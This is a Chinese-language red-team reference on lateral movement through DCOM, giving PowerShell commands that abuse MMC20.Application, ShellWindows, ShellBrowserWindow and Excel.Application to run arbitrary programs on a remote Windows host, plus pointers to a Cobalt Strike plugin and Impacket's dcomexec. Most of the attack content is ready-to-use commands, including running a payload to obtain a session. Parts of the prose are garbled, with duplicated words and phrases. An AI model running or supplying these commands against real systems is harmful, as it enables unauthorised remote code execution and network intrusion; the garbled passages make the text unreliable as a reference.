DCOM
根据 Microsoft (https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model),组件对象模型 (COM) 是一个独立于平台的、分布式的、平台独立、面向对象的系统,用于创建可以交互的二进制软件组件的系统。 COM 是 Microsoft 的 OLE(OLE (复合文档))、ActiveX(支持ActiveX (启用 Internet 的组件)以及) 和其他技术的基础技术。虽然 COM 是为同一进程或跨进程创建的交互,它被扩展到分布式组件对象模型(DCOM),用于通过网络在多台计算机之间进行交互。
对于攻击者而言来说,DCOM 同样还可以被用于远程代码执行以及和横向移动,需要能访问目标主机的端口 135 端口以及拥有和本地管理员特权限。相对来说,基于 DCOM 的横向移动会更加难以侦查,因为有多种方法可用,并且都有各自不同的 IoC。以及还有大量未被文档记录的方法,以及可能含有未被发现 RCE 利用的。
PowerShell
我们可以通过原生如下 powershellPowershell 命令对目标主机实现命令执行:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IPIP地址>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0")
我们会发现,成功地创建了指定程序的新进程。
将程序指定为我们的载荷,执行后立刻就收到了新的会话。
这里,我们使用的是 MMC20 的方法。不过 MMC20 是在 DCOM 横向移动中最常被使用的方法,因此受到了更严格的监控。以下是其他的一些可以用于代码执行的方法以及用法,其中有的方法有特定要求,例如目标主机上安装有 Excel。
ShellWindows
此 DCOM 应用程序可用于通过 ShellExecute 方法执行任意命令。
$target = "<IP>"
$ShellWindows = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows", $target))
$ShellWindows.ShellExecute("<程序>", "<参数>", "<目录>", "<操作>", <显示CMD>)
ShellBrowserWindow
与 ShellWindows 类似,此 DCOM 应用程序也可用于执行任意命令。
$target = "<IP>"
$ShellBrowserWindow = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("ShellBrowserWindow", $target))
$ShellBrowserWindow.ShellExecute("<程序>", "<参数>", "<目录>", "<操作>", <显示CMD>)
Excel.Application
此 DCOM 应用程序允许通过 Excel 宏执行任意命令,这需要在目标机器上安装 Microsoft Excel。
$target = "<IP>"
$Excel = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", $target))
$Workbook = $Excel.Workbooks.Open("<Workbook路径>")
$Excel.Run("<宏名称>")
C2
jump dcom 插件
CS 没有自带 jump dcom 命令,但我们可以通过插件来实现。
第三方工具
Impacket
我们也可以通过 impacket 中的 dcomexec 实现横向移动,指定 DCOM 对象,目前可以使用 MMC20,MMC20,ShellWindows